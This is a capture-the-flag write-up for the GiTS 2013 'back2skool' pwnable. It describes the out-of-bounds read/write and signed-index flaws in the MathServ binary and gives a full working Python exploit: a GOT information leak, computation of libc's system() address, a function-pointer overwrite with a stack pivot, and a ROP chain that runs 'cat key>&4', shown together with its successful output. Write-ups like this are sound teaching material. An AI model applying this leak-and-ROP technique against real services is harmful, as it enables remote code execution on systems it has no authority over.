code hacking, zen coding

GiTS 2013 CTF – Pwnables 250 Question 10 – Back2skool Write-up

back2skool-3fbcd46db37c50ad52675294f566790c777b9d1f: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, stripped

This is the binary for MathServ, “The one-stop shop for all your arithmetic needs”.

$ nc localhost 31337
    __  ___      __  __   _____
   /  |/  /___ _/ /_/ /_ / ___/___  ______   __ v0.01
  / /|_/ / __ `/ __/ __ \\__ \/ _ \/ ___/ | / /
 / /  / / /_/ / /_/ / / /__/ /  __/ /   | |/ /
/_/  /_/\__,_/\__/_/ /_/____/\___/_/    |___/
Welcome to MathServ! The one-stop shop for all your arithmetic needs.
This program was written by a team of fresh CS graduates using only the most
agile of spiraling waterfall development methods, so rest assured there are
no bugs here!

Your current workspace is comprised of a 10-element table initialized as:
{ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 }

  read  Read value from given index in table
  write Write value to given index in table
  func1 Change operation to addition
  func2 Change operation to multiplication
  math  Perform math operation on table
  exit  Quit and disconnect
Input position to read from:
Value at position 1: 1
Input position to write to:
Input numeric value to write:
Value at position 1: 10
Setting mode to ADDITION
Result of math: 54
Exiting program!

You can read and write numbers to an array and perform addition or multiplication of all the entries of the array.

Lets check how the “read” function works:

sendString(sockfd, (int)"Input position to read from:\n");
readUntil(sockfd, (int)&nptr, 0x13u, 10);
position = atoi(&nptr);
value =  *(_DWORD *)&values[4 * position];
sock_printf(sockfd, "Value at position %d: %d\n", value);

There is 2 vulnerabilities here:
– There is no bound checking on the position value
– position can be signed, allowing to use a negative offset

Basically, you can read and write any memory, this will prove useful for information leak purpose.

Lets move to the “write” function:

readUntil(sockfd, (int)&nptr, 0x13u, 10);
position = atoi(&nptr);
if ( position <= 9 )
  sendString(sockfd, (int)"Input numeric value to write:\n");
  readUntil(sockfd, (int)&nptr, 0x13u, 10);
  *(_DWORD *)&values[4 * position] = atoi(&nptr);
  sock_printf(sockfd, "Value at position %d: %d\n", position);
  sendString(sockfd, (int)"Table index too large!\n");

Almost the same story here except we have an inefficient bound checking:
– You can still enter negative number and the if() check will pass
– As position is signed and later multiplied by 4 (left shifted by 2 positions), we can get the sign bit to disappear

10000000000000000000000000000011 = -2147483645 = 0x80000003
<< 2 00000000000000000000000000001100 = 12 = 0xC Now lets focus on the "math" command:

.text:080493A5                 mov     eax, ds:(math_ptr - 804BF54h)[ebx]
.text:080493AB                 mov     edx, [eax]
.text:080493AD                 mov     dword ptr [esp+4], 0Ah
.text:080493B5                 mov     eax, ds:(values_ptr - 804BF54h)[ebx]
.text:080493BB                 mov     [esp], eax
.text:080493BE                 call    edx

The function pointer stored in math_ptr is called directly. If we can overwrite the content of this math_ptr and replace it with an EIP we control, we will get remote code execution.

Some complications:
– The stack is NX
– The binary has been compiled with RELRO: read-only sections: .got, .dtors, etc…
– There is no interesting functions loaded in the GOT table for exploitation: no system, mmap, mprotected or execve

So our exploit workflow will be:
– Do information leak: get the address of libc’s __libc_start_main in the GOT table
– Overwrite the math_ptr with a stack pivot
– Fill the values array with a shell command line : cat key>&4
– Fill a user controled buffer with a small ROP chain to call system() with the values array as parameter
– Read key from socket

Our stack pivot:

.text:08049550                 pop     ebx
.text:08049551                 pop     esi
.text:08049552                 pop     edi
.text:08049553                 pop     ebp
.text:08049554                 retn

A last importance piece of the puzzle is the exact offset of the system() function in memory. Using a previous challenge shell, we found out that the challenge box is running Ubuntu Precise i386 with libc 2.15. We need this to get the offset of system() inside You can download this specific version from here for example:

Using the information leak, we got the address of __libc_start_main() in memory. If we have the distance (offset) between __libc_start_main() and system(), we can calculate the system() function’s address in memory.

$ gdb
Reading symbols from debugging symbols found)...done.
gdb$ p system
$1 = {<text variable, no debug info>} 0x3d170 <system>
gdb$ p __libc_start_main
$2 = {<text variable, no debug info>} 0x193e0 <__libc_start_main>

The offset between __libc_start_main() and system() is 0x3d170 – 0x193e0 = 0x23D90

So in memory, the address of system() will be the address of __libc_start_main() + 0x23D90

And we know the __libc_start_main() address from the GOT table.

We got everything, so here is the exploit:

import ctypes
import telnetlib
from struct import pack, unpack

math_ptr = 0x0804BFEC
user_ptr = 0x080499B8
addr_values = 0x0804C040
got_table_start = 0x0804BF54
got_table_end = 0x0804BFFC

def read_memory(offset):
    position = offset_to_position(offset)
    tn.read_until("Input position to read from:")
    tn.write(str(position) + "\n")
    tn.read_until("Value at position ")
    tn.read_until(": ")
    value = long(tn.read_eager().strip())
    return ctypes.c_ulong(value).value

def write_memory(offset, value):
    position = offset_to_position(offset)
    tn.read_until("Input position to write to:")
    tn.write(str(position) + "\n")
    tn.read_until("Input numeric value to write:")
    tn.write(str(ctypes.c_long(value).value) + "\n")
    tn.read_until("Value at position " )
    tn.read_until( ": ")
    value = int(tn.read_eager().strip())
    return ctypes.c_ulong(value).value

def read_got_value(got, offset):
    return read_memory(got[offset])

def overwrite_got_pointer(got, offset, value):
    return write_memory(got[int(offset, 16)], value)

def offset_to_position(offset, adjust=False):
    if offset < addr_values or adjust:
        position = -((addr_values - offset) >> 2)
        position = 0x80000000 + ((offset - addr_values) >> 2)
    return ctypes.c_long(position).value

HOST = ''
PORT = 31337

tn = telnetlib.Telnet(HOST, PORT)

tn.read_until("Quit and disconnect")

print "Dumping GOT..."

got = {}
ptr = {}

for offset in range(got_table_start, got_table_end+4, 4):
    value = read_memory(offset)
    hex_value = hex(value)
    #print hex(offset),":", hex_value
    got[offset] = value

print "Getting fd and __libc_start_main offset from GOT"

ptr['sockfd'] = read_got_value(got, 0x0804BFF4)
ptr['__libc_start_main'] = got[0x0804BF9C]

for value in ptr:
    print value, '=', hex(ptr[value])

print "Computing system() addresss"
# Challenge box was Ubuntu Precise i386 with libc 2.15
# 32631f59185a4d6ecadffa9f0afc1d74
system_ptr = ptr['__libc_start_main'] + (0x3d170 - 0x193e0) # __libc_start_main - system

print "system() is at", hex(system_ptr)

math = read_memory(math_ptr)
print "Math vfptr at " + hex(math)
print "Current math vfptr is", hex(read_memory(math))

print "Overwriting math vfptr with stack pivot"
write_memory(math, 0x08049550)

print "Current math vfptr is", hex(read_memory(math))

print "Filling values array with shell command"
# cat key>&4\n
write_memory(addr_values,   0x20746163)
write_memory(addr_values+4, 0x3e79656b)
write_memory(addr_values+8, 0x0a0a3426)

print "Putting ROP chain on the stack"
tn.read_until("Input position to read from:")
tn.write('ABCD' + pack('<I', system_ptr) + 'ABCD' + pack('<I', addr_values)  + "\n")
tn.read_until("Value at position ")
tn.read_until(": ")

print "Pwning!"

print "Reading key:"
print tn.read_all()



$ python
Dumping GOT...
Getting fd and __libc_start_main offset from GOT
sockfd = 0x4L
__libc_start_main = 0xf76133e0L
Computing system() addresss
system() is at 0xf7637170L
Math vfptr at 0x804c078L
Current math vfptr is 0x0L
Overwriting math vfptr with stack pivot
Current math vfptr is 0x8049550L
Filling values array with shell command
Putting ROP chain on the stack
Reading key:
You couldn't own a box if you purchased it

Key is “You couldn’t own a box if you purchased it”